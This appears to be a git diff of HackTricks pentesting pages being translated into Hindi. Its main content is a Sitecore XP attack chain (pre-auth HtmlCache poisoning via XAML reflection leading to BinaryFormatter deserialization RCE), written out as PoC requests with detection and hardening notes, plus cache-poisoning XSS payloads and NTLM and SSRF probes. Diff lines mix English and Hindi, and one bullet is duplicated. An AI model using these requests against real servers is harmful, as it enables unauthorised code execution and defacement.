- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
|
||||
- **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
|
||||
- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
|
||||
- On several occasions, you will need to **understand the regular expressions** used. This will be useful: [https://regex101.com/](https://regex101.com) or [https://pythonium.net/regex](https://pythonium.net/regex)
|
||||
- You could also **monitor the files were forms were detected**, as a change in the parameter or the apearance f a new form may indicate a potential new vulnerable functionality.
|
||||
- **TrainFuck**](https://github.com/taco-cy/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
|
||||
- कई मौकों पर, आपको उपयोग किए गए regular expressions को समझने की आवश्यकता होगी। यह उपयोगी होगा: [https://regex101.com/](https://regex101.com) या [https://pythonium.net/regex](https://pythonium.net/regex)
|
||||
- आप उन files की भी monitoring कर सकते हैं जहाँ forms detect हुए थे, क्योंकि parameters में बदलाव या नए form की दिखावट किसी नई संभावित vulnerable functionality का संकेत दे सकती है।
|
||||
|
||||
**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
|
||||
|
||||
@ -312,28 +314,28 @@ _Note that anytime a new directory is discovered during brute-forcing or spideri
|
||||
|
||||
**502 Proxy Error**
|
||||
|
||||
If any page **responds** with that **code**, it's probably a **bad configured proxy**. **If you send a HTTP request like: `GET https://google.com HTTP/1.1`** (with the host header and other common headers), the **proxy** will try to **access** _**google.com**_ **and you will have found a** SSRF.
|
||||
यदि किसी पेज का response उस **code** के साथ आता है, तो यह संभवतः गलत configured proxy है। यदि आप ऐसा HTTP request भेजते हैं: `GET https://google.com HTTP/1.1` (host header और अन्य सामान्य headers के साथ), तो proxy _**google.com**_ तक पहुँचने की कोशिश करेगा और आप एक **SSRF** पा सकते हैं।
|
||||
|
||||
**NTLM Authentication - Info disclosure**
|
||||
|
||||
If the running server asking for authentication is **Windows** or you find a login asking for your **credentials** (and asking for **domain** **name**), you can provoke an **information disclosure**.\
|
||||
**Send** the **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` and due to how the **NTLM authentication works**, the server will respond with internal info (IIS version, Windows version...) inside the header "WWW-Authenticate".\
|
||||
You can **automate** this using the **nmap plugin** "_http-ntlm-info.nse_".
|
||||
यदि running server authentication माँग रहा है और वह **Windows** है या आप कोई login पाते हैं जो आपके **credentials** माँगता है (और **domain** नाम माँगता है), तो आप **information disclosure** करवा सकते हैं।\
|
||||
**Send** the **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` और NTLM authentication के काम करने के तरीके के कारण, server internal info (IIS version, Windows version...) को header "WWW-Authenticate" में return करेगा।\
|
||||
आप इसे ऑटोमेट करने के लिए **nmap plugin** "_http-ntlm-info.nse_" का उपयोग कर सकते हैं।
|
||||
|
||||
**HTTP Redirect (CTF)**
|
||||
|
||||
It is possible to **put content** inside a **Redirection**. This content **won't be shown to the user** (as the browser will execute the redirection) but something could be **hidden** in there.
|
||||
Redirection में content रखा जा सकता है। यह content user को दिखाई नहीं देता (क्योंकि browser redirection execute कर देता है) पर वहाँ कुछ छिपाया जा सकता है।
|
||||
|
||||
### Web Vulnerabilities Checking
|
||||
|
||||
Now that a comprehensive enumeration of the web application has been performed it's time to check for a lot of possible vulnerabilities. You can find the checklist here:
|
||||
अब जब web application का व्यापक enumeration कर लिया गया है, तो कई संभावित vulnerabilities की जाँच करने का समय है। आप checklist यहाँ पाएँगे:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-web/web-vulnerabilities-methodology.md
|
||||
{{#endref}}
|
||||
|
||||
Find more info about web vulns in:
|
||||
Web vulns के बारे में और जानकारी:
|
||||
|
||||
- [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist)
|
||||
- [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html)
|
||||
@ -341,7 +343,7 @@ Find more info about web vulns in:
|
||||
|
||||
### Monitor Pages for changes
|
||||
|
||||
You can use tools such as [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) to monitor pages for modifications that might insert vulnerabilities.
|
||||
आप ऐसे tools का उपयोग कर सकते हैं जैसे [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) ताकि pages में होने वाले modifications को monitor किया जा सके, जो vulnerabilities ला सकते हैं।
|
||||
|
||||
### HackTricks Automatic Commands
|
||||
```
|
||||
|
||||
@ -0,0 +1,194 @@
|
||||
# Sitecore Experience Platform (XP) – Pre‑auth HTML Cache Poisoning to Post‑auth RCE
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
यह पृष्ठ Sitecore XP 10.4.1 के खिलाफ एक व्यावहारिक attack chain का सारांश प्रस्तुत करता है जो pre‑auth XAML handler से HTML cache poisoning की ओर मुड़ता है और authenticated UI flow के माध्यम से BinaryFormatter deserialization के जरिए RCE तक पहुँचता है। ये तकनीकें समान Sitecore versions/components पर सामान्यीकृत होती हैं और परीक्षण, पता लगाने, और सुरक्षा सख्ती (harden) के लिए ठोस primitives प्रदान करती हैं।
|
||||
|
||||
- प्रभावित उत्पाद (परीक्षण किया गया): Sitecore XP 10.4.1 rev. 011628
|
||||
- Fixed in: KB1003667, KB1003734 (जून/जुलाई 2025)
|
||||
|
||||
See also:
|
||||
|
||||
{{#ref}}
|
||||
../../../pentesting-web/cache-deception/README.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
../../../pentesting-web/deserialization/README.md
|
||||
{{#endref}}
|
||||
|
||||
## Pre‑auth primitive: XAML Ajax reflection → HtmlCache write
|
||||
|
||||
प्रवेश बिंदु pre‑auth XAML handler है जो web.config में रजिस्टर्ड है:
|
||||
```xml
|
||||
<add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" />
|
||||
```
|
||||
के माध्यम से उपलब्ध:
|
||||
```
|
||||
GET /-/xaml/Sitecore.Shell.Xaml.WebControl
|
||||
```
|
||||
कंट्रोल ट्री में AjaxScriptManager शामिल है जो event requests पर attacker‑controlled fields को पढ़ता है और रिफ्लेक्शन के माध्यम से लक्षित कंट्रोल्स पर मेथड्स को invoke करता है:
|
||||
```csharp
|
||||
// AjaxScriptManager.OnPreRender
|
||||
string clientId = page.Request.Form["__SOURCE"]; // target control
|
||||
string text = page.Request.Form["__PARAMETERS"]; // Method("arg1", "arg2")
|
||||
...
|
||||
Dispatch(clientId, text);
|
||||
|
||||
// eventually → DispatchMethod(control, parameters)
|
||||
MethodInfo m = ReflectionUtil.GetMethodFiltered<ProcessorMethodAttribute>(this, e.Method, e.Parameters, true);
|
||||
if (m != null) m.Invoke(this, e.Parameters);
|
||||
|
||||
// Alternate branch for XML-based controls
|
||||
if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...}
|
||||
```
|
||||
मुख्य अवलोकन: XAML पेज में एक XmlControl instance (xmlcontrol:GlobalHeader) शामिल है। Sitecore.XmlControls.XmlControl, Sitecore.Web.UI.WebControl (एक Sitecore class) से व्युत्पन्न है, जो ReflectionUtil.Filter allow‑list (Sitecore.*) को पास करता है, और इस तरह Sitecore WebControl पर methods अनलॉक हो जाते हैं।
|
||||
|
||||
Magic method for poisoning:
|
||||
```csharp
|
||||
// Sitecore.Web.UI.WebControl
|
||||
protected virtual void AddToCache(string cacheKey, string html) {
|
||||
HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site);
|
||||
if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout);
|
||||
}
|
||||
```
|
||||
क्योंकि हम xmlcontrol:GlobalHeader को target कर सकते हैं और नाम से Sitecore.Web.UI.WebControl methods को call कर सकते हैं, हमें एक pre‑auth arbitrary HtmlCache write primitive मिल जाता है।
|
||||
|
||||
### PoC request (CVE-2025-53693)
|
||||
```
|
||||
POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2
|
||||
Host: target
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
__PARAMETERS=AddToCache("wat","<html><body>pwn</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
|
||||
```
|
||||
नोट्स:
|
||||
- __SOURCE, Sitecore.Shell.Xaml.WebControl में xmlcontrol:GlobalHeader का clientID है (आमतौर पर स्थिर, जैसे ctl00_ctl00_ctl05_ctl03 क्योंकि यह static XAML से व्युत्पन्न होता है)।
|
||||
- __PARAMETERS का प्रारूप Method("arg1","arg2") है।
|
||||
|
||||
## क्या poison करना है: Cache key निर्माण
|
||||
|
||||
Sitecore controls द्वारा उपयोग किए जाने वाले सामान्य HtmlCache कुंजी निर्माण:
|
||||
```csharp
|
||||
public virtual string GetCacheKey(){
|
||||
SiteContext site = Sitecore.Context.Site;
|
||||
if (this.Cacheable && (site == null || site.CacheHtml) && !this.SkipCaching()){
|
||||
string key = this.CachingID.Length > 0 ? this.CachingID : this.CacheKey;
|
||||
if (key.Length > 0){
|
||||
string k = key + "_#lang:" + Language.Current.Name.ToUpperInvariant();
|
||||
if (this.VaryByData) k += ResolveDataKeyPart();
|
||||
if (this.VaryByDevice) k += "_#dev:" + Sitecore.Context.GetDeviceName();
|
||||
if (this.VaryByLogin) k += "_#login:" + Sitecore.Context.IsLoggedIn;
|
||||
if (this.VaryByUser) k += "_#user:" + Sitecore.Context.GetUserName();
|
||||
if (this.VaryByParm) k += "_#parm:" + this.Parameters;
|
||||
if (this.VaryByQueryString && site?.Request != null)
|
||||
k += "_#qs:" + MainUtil.ConvertToString(site.Request.QueryString, "=", "&");
|
||||
if (this.ClearOnIndexUpdate) k += "_#index";
|
||||
return k;
|
||||
}
|
||||
}
|
||||
return string.Empty;
|
||||
}
|
||||
```
|
||||
एक ज्ञात sublayout के लिए लक्षित poisoning का उदाहरण:
|
||||
```
|
||||
__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","<html>…attacker HTML…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
|
||||
```
|
||||
## कैशेबल आइटम और “vary by” डायमेंशन्स की सूची बनाना
|
||||
|
||||
यदि ItemService (गलत तरीके से) अनाम रूप से एक्सपोज़ है, तो आप सटीक keys निकालने के लिए कैशेबल components को सूचीबद्ध कर सकते हैं।
|
||||
|
||||
त्वरित जांच:
|
||||
```
|
||||
GET /sitecore/api/ssc/item
|
||||
// 404 Sitecore error body → exposed (anonymous)
|
||||
// 403 → blocked/auth required
|
||||
```
|
||||
कैश करने योग्य आइटम और फ़्लैग सूचीबद्ध करें:
|
||||
```
|
||||
GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100
|
||||
```
|
||||
Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate जैसे फ़ील्ड खोजें। डिवाइस नामों को निम्नलिखित के माध्यम से सूचीबद्ध किया जा सकता है:
|
||||
```
|
||||
GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100
|
||||
```
|
||||
### Side‑channel enumeration under restricted identities (CVE-2025-53694)
|
||||
|
||||
भले ही ItemService किसी सीमित खाते (e.g., ServicesAPI) की नकल करे और खाली Results array लौटाए, TotalCount फिर भी pre‑ACL Solr hits को दर्शा सकता है। आप wildcards के साथ item groups/ids को brute‑force कर सकते हैं और TotalCount के converge होते हुए internal content और devices का मानचित्र बनते देख सकते हैं:
|
||||
```
|
||||
GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
|
||||
→ "TotalCount": 3
|
||||
GET /...term=%2B_templatename:Device;%2B_group:aa*
|
||||
→ "TotalCount": 2
|
||||
GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1*
|
||||
→ narrow to a specific item
|
||||
```
|
||||
## Post‑auth RCE: BinaryFormatter sink convertToRuntimeHtml में (CVE-2025-53691)
|
||||
|
||||
Sink:
|
||||
```csharp
|
||||
// Sitecore.Convert
|
||||
byte[] b = Convert.FromBase64String(data);
|
||||
return new BinaryFormatter().Deserialize(new MemoryStream(b));
|
||||
```
|
||||
यह convertToRuntimeHtml pipeline step ConvertWebControls के माध्यम से पहुँच योग्य है, जो id {iframeId}_inner वाले element को ढूंढता है और उसे base64 decodes + deserializes करके resulting string को HTML में inject कर देता है:
|
||||
```csharp
|
||||
HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']");
|
||||
string text2 = inner?.GetAttributeValue("value", "");
|
||||
if (text2.Length > 0)
|
||||
htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);
|
||||
```
|
||||
ट्रिगर (प्रमाणीकृत, Content Editor अधिकार)। FixHtml डायलॉग convertToRuntimeHtml को कॉल करता है। UI क्लिक के बिना एंड‑टू‑एंड:
|
||||
```
|
||||
// 1) Start Content Editor
|
||||
GET /sitecore/shell/Applications/Content%20Editor.aspx
|
||||
|
||||
// 2) Load malicious HTML into EditHtml session (XAML event)
|
||||
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
|
||||
<html>
|
||||
<iframe id="test" src="poc" value="poc"></iframe>
|
||||
<test id="test_inner" value="BASE64_GADGET"></test>
|
||||
</html>
|
||||
|
||||
// 3) Server returns a session handle (hdl) for FixHtml
|
||||
{"command":"ShowModalDialog","value":"/sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=..."}
|
||||
|
||||
// 4) Visit FixHtml to trigger ConvertWebControls → deserialization
|
||||
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
|
||||
```
|
||||
Gadget generation: use ysoserial.net / YSoNet with BinaryFormatter to produce a base64 payload returning a string. The string’s contents are written into the HTML by ConvertWebControls after deserialization side‑effects execute.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../../pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
|
||||
{{#endref}}
|
||||
|
||||
## पूरा चेन
|
||||
|
||||
1) Pre‑auth attacker XAML AjaxScriptManager के माध्यम से reflectively WebControl.AddToCache को invoke करके arbitrary HTML के साथ HtmlCache को poison करता है।
|
||||
2) Poisoned HTML JavaScript परोसेगा जो authenticated Content Editor user को FixHtml flow के माध्यम से प्रेरित करता है।
|
||||
3) FixHtml पेज convertToRuntimeHtml → ConvertWebControls को ट्रिगर करता है, जो attacker‑controlled base64 को BinaryFormatter के जरिए deserialize करता है → Sitecore app pool identity के तहत RCE।
|
||||
|
||||
## पहचान
|
||||
|
||||
- Pre‑auth XAML: `/-/xaml/Sitecore.Shell.Xaml.WebControl` के लिए requests जिनमें `__ISEVENT=1`, संदिग्ध `__SOURCE` और `__PARAMETERS=AddToCache(...)`।
|
||||
- ItemService probing: `/sitecore/api/ssc` की wildcard queries में spikes, खाली `Results` के साथ बड़े `TotalCount`।
|
||||
- Deserialization attempts: `EditHtml.aspx` के बाद `FixHtml.aspx?hdl=...` और HTML fields में असाधारण रूप से बड़े base64।
|
||||
|
||||
## हार्डनिंग
|
||||
|
||||
- Sitecore patches KB1003667 और KB1003734 लागू करें; pre‑auth XAML handlers को gate/disable करें या strict validation जोड़ें; `/-/xaml/` की निगरानी और rate‑limit लागू करें।
|
||||
- BinaryFormatter को हटाएँ/बदलें; convertToRuntimeHtml तक access को restrict करें या HTML editing flows पर strong server‑side validation लागू करें।
|
||||
- `/sitecore/api/ssc` को loopback या authenticated roles तक लॉकडाउन करें; impersonation patterns से बचें जो `TotalCount`‑based side channels को leak करते हैं।
|
||||
- Content Editor users के लिए MFA/least privilege लागू करें; CSP की समीक्षा करें ताकि cache poisoning से JS steering का प्रभाव घटे।
|
||||
|
||||
## References
|
||||
|
||||
- [watchTowr Labs – Cache Me If You Can: Sitecore Experience Platform Cache Poisoning to RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
|
||||
- [Sitecore KB1003667 – Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003667)
|
||||
- [Sitecore KB1003734 – Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003734)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@ -2,112 +2,112 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## The difference
|
||||
## अंतर
|
||||
|
||||
> **वेब कैश पॉइज़निंग और वेब कैश धोखाधड़ी के बीच क्या अंतर है?**
|
||||
> **web cache poisoning और web cache deception में क्या फर्क है?**
|
||||
>
|
||||
> - **वेब कैश पॉइज़निंग** में, हमलावर एप्लिकेशन को कैश में कुछ दुर्भावनापूर्ण सामग्री स्टोर करने के लिए मजबूर करता है, और यह सामग्री कैश से अन्य एप्लिकेशन उपयोगकर्ताओं को परोसी जाती है।
|
||||
> - **वेब कैश धोखाधड़ी** में, हमलावर एप्लिकेशन को किसी अन्य उपयोगकर्ता की संवेदनशील सामग्री कैश में स्टोर करने के लिए मजबूर करता है, और फिर हमलावर इस सामग्री को कैश से पुनः प्राप्त करता है।
|
||||
> - In **web cache poisoning**, हमलावर एप्लिकेशन को कुछ दुर्व्यवहारपूर्ण सामग्री cache में स्टोर करवाता है, और यह सामग्री cache से अन्य एप्लिकेशन उपयोगकर्ताओं को सर्व की जाती है।
|
||||
> - In **web cache deception**, हमलावर एप्लिकेशन को किसी अन्य उपयोगकर्ता की संवेदनशील सामग्री cache में स्टोर करवाता है, और फिर हमलावर वह सामग्री cache से प्राप्त कर लेता है।
|
||||
|
||||
## Cache Poisoning
|
||||
|
||||
कैश पॉइज़निंग का उद्देश्य क्लाइंट-साइड कैश को इस तरह से हेरफेर करना है कि क्लाइंट अप्रत्याशित, आंशिक, या हमलावर के नियंत्रण में संसाधनों को लोड करने के लिए मजबूर हों। प्रभाव की सीमा प्रभावित पृष्ठ की लोकप्रियता पर निर्भर करती है, क्योंकि दूषित प्रतिक्रिया केवल उन उपयोगकर्ताओं को परोसी जाती है जो कैश संदूषण के दौरान पृष्ठ पर जाते हैं।
|
||||
Cache poisoning का उद्देश्य client-side cache को इस तरह प्रभावित करना है कि क्लाइंट अनपेक्षित, आंशिक या हमलावर के नियंत्रण वाली resources लोड कर लें। प्रभाव का दायरा प्रभावित पेज की लोकप्रियता पर निर्भर करता है, क्योंकि दूषित response केवल उन उपयोगकर्ताओं को सर्व किया जाएगा जो cache प्रदूषण के दौरान उस पेज पर जाते हैं।
|
||||
|
||||
कैश पॉइज़निंग हमले का निष्पादन कई चरणों में होता है:
|
||||
Cache poisoning हमला कई चरणों में किया जाता है:
|
||||
|
||||
1. **अनकीड इनपुट की पहचान**: ये ऐसे पैरामीटर हैं जो, हालांकि कैश में अनुरोध के लिए आवश्यक नहीं हैं, सर्वर द्वारा लौटाई गई प्रतिक्रिया को बदल सकते हैं। इन इनपुट की पहचान करना महत्वपूर्ण है क्योंकि इन्हें कैश को हेरफेर करने के लिए उपयोग किया जा सकता है।
|
||||
2. **अनकीड इनपुट का शोषण**: अनकीड इनपुट की पहचान करने के बाद, अगला चरण यह पता लगाना है कि इन पैरामीटर का दुरुपयोग कैसे किया जाए ताकि सर्वर की प्रतिक्रिया को इस तरह से संशोधित किया जा सके कि हमलावर को लाभ हो।
|
||||
3. **सुनिश्चित करना कि दूषित प्रतिक्रिया कैश में है**: अंतिम चरण यह सुनिश्चित करना है कि हेरफेर की गई प्रतिक्रिया कैश में स्टोर हो। इस तरह, कैश संदूषित होने के दौरान प्रभावित पृष्ठ को एक्सेस करने वाला कोई भी उपयोगकर्ता दूषित प्रतिक्रिया प्राप्त करेगा।
|
||||
1. **Identification of Unkeyed Inputs**: ऐसे parameters जो request के cached होने के लिए आवश्यक नहीं होते पर server द्वारा लौटाई जाने वाली response को बदल सकते हैं। इन inputs की पहचान करना जरूरी है क्योंकि इन्हें cache को manipulate करने के लिए exploit किया जा सकता है।
|
||||
2. **Exploitation of the Unkeyed Inputs**: Unkeyed inputs की पहचान के बाद अगला कदम यह पता लगाना है कि इन parameters का दुरुपयोग करके server की response को किस तरह बदला जा सकता है ताकि हमलावर को लाभ हो।
|
||||
3. **Ensuring the Poisoned Response is Cached**: अंतिम चरण यह सुनिश्चित करना है कि बदली हुई response cache में स्टोर हो जाए। इस तरह, जब भी कोई उपयोगकर्ता प्रभावित पेज तक पहुंचता है जबकि cache poisoned है, उसे दूषित response मिल जाएगी।
|
||||
|
||||
### Discovery: Check HTTP headers
|
||||
### खोज: HTTP headers देखें
|
||||
|
||||
आमतौर पर, जब एक प्रतिक्रिया **कैश में स्टोर की गई** होती है, तो एक **हेडर इस बात का संकेत देता है**, आप इस पोस्ट में देख सकते हैं कि आपको किन हेडरों पर ध्यान देना चाहिए: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
|
||||
आम तौर पर, जब कोई response cache में store की जाती है तो वहाँ एक header होता है जो इसकी जानकारी देता है; आप उन headers को देख सकते हैं जिन पर आपको ध्यान देना चाहिए इस पोस्ट में: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
|
||||
|
||||
### Discovery: Caching error codes
|
||||
### खोज: Caching error codes
|
||||
|
||||
यदि आप सोच रहे हैं कि प्रतिक्रिया कैश में स्टोर की जा रही है, तो आप **खराब हेडर के साथ अनुरोध भेजने** की कोशिश कर सकते हैं, जिसे **स्थिति कोड 400** के साथ प्रतिक्रिया दी जानी चाहिए। फिर सामान्य रूप से अनुरोध तक पहुँचने की कोशिश करें और यदि **प्रतिक्रिया 400 स्थिति कोड है**, तो आप जानते हैं कि यह संवेदनशील है (और आप यहां तक कि DoS भी कर सकते हैं)।
|
||||
|
||||
आप अधिक विकल्प पा सकते हैं:
|
||||
यदि आपको लगता है कि response cache में स्टोर हो रही है, तो आप एक खराब header के साथ request भेजकर देख सकते हैं, जिसे सामान्यतः **status code 400** के साथ रिस्पॉन्ड किया जाना चाहिए। फिर सामान्य तरीके से उसी request को एक्सेस करके देखें और यदि response एक 400 status code है, तो आप जान सकते हैं कि यह vulnerable है (और आप यहां तक कि DoS भी कर सकते हैं)।
|
||||
|
||||
आप और विकल्प यहां पा सकते हैं:
|
||||
|
||||
{{#ref}}
|
||||
cache-poisoning-to-dos.md
|
||||
{{#endref}}
|
||||
|
||||
हालांकि, ध्यान दें कि **कभी-कभी इस प्रकार के स्थिति कोड कैश नहीं होते** इसलिए यह परीक्षण विश्वसनीय नहीं हो सकता।
|
||||
हालाँकि, ध्यान दें कि **कभी-कभी इस प्रकार के status codes cache में नहीं रखे जाते**, इसलिए यह टेस्ट विश्वसनीय नहीं हो सकता।
|
||||
|
||||
### Discovery: Identify and evaluate unkeyed inputs
|
||||
### खोज: Identify and evaluate unkeyed inputs
|
||||
|
||||
आप [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) का उपयोग कर सकते हैं **पैरामीटर और हेडर को ब्रूट-फोर्स करने** के लिए जो **पृष्ठ की प्रतिक्रिया को बदल सकते हैं**। उदाहरण के लिए, एक पृष्ठ `X-Forwarded-For` हेडर का उपयोग कर सकता है यह संकेत देने के लिए कि क्लाइंट को वहां से स्क्रिप्ट लोड करना है:
|
||||
आप [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) का उपयोग करके उन parameters और headers को brute-force कर सकते हैं जो पेज की response को बदल रहे हैं। उदाहरण के लिए, एक पेज header `X-Forwarded-For` का उपयोग कर सकता है ताकि client को वहां से स्क्रिप्ट लोड करने के लिए संकेत दिया जाए:
|
||||
```html
|
||||
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
|
||||
```
|
||||
### बैक-एंड सर्वर से हानिकारक प्रतिक्रिया प्राप्त करें
|
||||
### बैक-एंड सर्वर से हानिकारक प्रतिक्रिया उत्पन्न करें
|
||||
|
||||
पैरामीटर/हेडर की पहचान करने के बाद, यह जांचें कि इसे **सैनिटाइज** कैसे किया जा रहा है और यह **कहाँ** **प्रतिबिंबित** हो रहा है या हेडर से प्रतिक्रिया को प्रभावित कर रहा है। क्या आप इसे किसी भी तरह से दुरुपयोग कर सकते हैं (एक XSS प्रदर्शन करें या अपने द्वारा नियंत्रित JS कोड लोड करें? एक DoS प्रदर्शन करें?...)
|
||||
With the parameter/header identified check how it is being **sanitised** and **where** is it **getting reflected** or affecting the response from the header. Can you abuse it anyway (perform an XSS or load a JS code controlled by you? perform a DoS?...)
|
||||
|
||||
### प्रतिक्रिया को कैश करें
|
||||
### प्रतिक्रिया को कैश कराएँ
|
||||
|
||||
एक बार जब आप उस **पृष्ठ** की **पहचान** कर लेते हैं जिसे दुरुपयोग किया जा सकता है, किस **पैरामीटर**/**हेडर** का उपयोग करना है और इसे **कैसे** दुरुपयोग करना है, तो आपको पृष्ठ को कैश करना होगा। जिस संसाधन को आप कैश में प्राप्त करने की कोशिश कर रहे हैं, उसके आधार पर इसमें कुछ समय लग सकता है, आपको कई सेकंड तक प्रयास करने की आवश्यकता हो सकती है।
|
||||
Once you have **identified** the **page** that can be abused, which **parameter**/**header** to use and **how** to **abuse** it, you need to get the page cached. Depending on the resource you are trying to get in the cache this could take some time, you might need to be trying for several seconds.
|
||||
|
||||
प्रतिक्रिया में **`X-Cache`** हेडर बहुत उपयोगी हो सकता है क्योंकि इसमें **`miss`** का मान हो सकता है जब अनुरोध कैश नहीं किया गया था और **`hit`** का मान जब इसे कैश किया गया है।\
|
||||
हेडर **`Cache-Control`** भी जानने के लिए दिलचस्प है कि क्या कोई संसाधन कैश किया जा रहा है और अगली बार कब संसाधन फिर से कैश किया जाएगा: `Cache-Control: public, max-age=1800`
|
||||
The header **`X-Cache`** in the response could be very useful as it may have the value **`miss`** when the request wasn't cached and the value **`hit`** when it is cached.\
|
||||
The header **`Cache-Control`** is also interesting to know if a resource is being cached and when will be the next time the resource will be cached again: `Cache-Control: public, max-age=1800`
|
||||
|
||||
एक और दिलचस्प हेडर **`Vary`** है। यह हेडर अक्सर **अतिरिक्त हेडर्स** को **कैश कुंजी** के हिस्से के रूप में **संकेतित** करने के लिए उपयोग किया जाता है, भले ही वे सामान्यतः कुंजीबद्ध न हों। इसलिए, यदि उपयोगकर्ता उस लक्षित पीड़ित का `User-Agent` जानता है, तो वह उस विशेष `User-Agent` का उपयोग करने वाले उपयोगकर्ताओं के लिए कैश को विषाक्त कर सकता है।
|
||||
Another interesting header is **`Vary`**. This header is often used to **indicate additional headers** that are treated as **part of the cache key** even if they are normally unkeyed. Therefore, if the user knows the `User-Agent` of the victim he is targeting, he can poison the cache for the users using that specific `User-Agent`.
|
||||
|
||||
कैश से संबंधित एक और हेडर **`Age`** है। यह परिभाषित करता है कि वस्तु प्रॉक्सी कैश में कितने सेकंड से है।
|
||||
One more header related to the cache is **`Age`**. It defines the times in seconds the object has been in the proxy cache.
|
||||
|
||||
अनुरोध को कैश करते समय, आप जिन हेडर्स का उपयोग करते हैं, उनके साथ **सावधान रहें** क्योंकि उनमें से कुछ **अनपेक्षित रूप से** **कुंजीबद्ध** के रूप में **उपयोग** किए जा सकते हैं और **पीड़ित को उसी हेडर का उपयोग करना होगा**। हमेशा **विभिन्न ब्राउज़रों** के साथ कैश पॉइज़निंग का **परीक्षण** करें यह जांचने के लिए कि यह काम कर रहा है।
|
||||
When caching a request, be **careful with the headers you use** because some of them could be **used unexpectedly** as **keyed** and the **victim will need to use that same header**. Always **test** a Cache Poisoning with **different browsers** to check if it's working.
|
||||
|
||||
## शोषण के उदाहरण
|
||||
## Exploiting Examples
|
||||
|
||||
### सबसे आसान उदाहरण
|
||||
### Easiest example
|
||||
|
||||
एक हेडर जैसे `X-Forwarded-For` को प्रतिक्रिया में असैनिटाइज्ड रूप में प्रतिबिंबित किया जा रहा है।\
|
||||
आप एक बुनियादी XSS पेलोड भेज सकते हैं और कैश को विषाक्त कर सकते हैं ताकि जो कोई भी पृष्ठ तक पहुँचता है वह XSS हो जाएगा:
|
||||
A header like `X-Forwarded-For` is being reflected in the response unsanitized.\
|
||||
You can send a basic XSS payload and poison the cache so everybody that accesses the page will be XSSed:
|
||||
```html
|
||||
GET /en?region=uk HTTP/1.1
|
||||
Host: innocent-website.com
|
||||
X-Forwarded-Host: a."><script>alert(1)</script>"
|
||||
```
|
||||
_ध्यान दें कि यह `/en?region=uk` के लिए एक अनुरोध को विषाक्त करेगा, `/en` के लिए नहीं_
|
||||
_ध्यान दें कि यह `/en?region=uk` के लिए एक request को poison करेगा, `/en` के लिए नहीं_
|
||||
|
||||
### Cache poisoning to DoS
|
||||
|
||||
### DoS के लिए कैश विषाक्तता
|
||||
|
||||
{{#ref}}
|
||||
cache-poisoning-to-dos.md
